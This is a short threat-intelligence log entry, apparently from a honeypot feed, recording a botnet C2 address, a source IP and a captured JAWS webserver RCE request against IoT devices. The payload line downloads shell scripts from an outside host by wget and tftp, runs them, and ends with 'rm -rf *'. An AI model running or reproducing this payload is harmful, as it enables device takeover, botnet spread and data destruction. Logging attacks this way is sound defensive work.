Botnet C2 192.99.154.217

Source IP: 51.91.250.68
Country: France
Payload: GET /shell?cd /tmp || cd /run || cd /; wget http://192.99.154.217/trixbins.sh; chmod 777 trixbins.sh; sh trixbins.sh; tftp 192.99.154.217 -c get trixtftp1.sh; chmod 777 trixtftp1.sh; sh trixtftp1.sh; tftp -r trixtftp2.sh -g 192.99.154.217; chmod 777 trixtftp2.sh; sh trixtftp2.sh; rm -rf trixbins.sh trixtftp1.sh trixtftp2.sh; rm -rf * HTTP/1.1
Target Port: 80
Bad Packets® Tags: JAWS Webserver RCE | IoT | -
Date Last Seen: 2019-11-02T00:47:13Z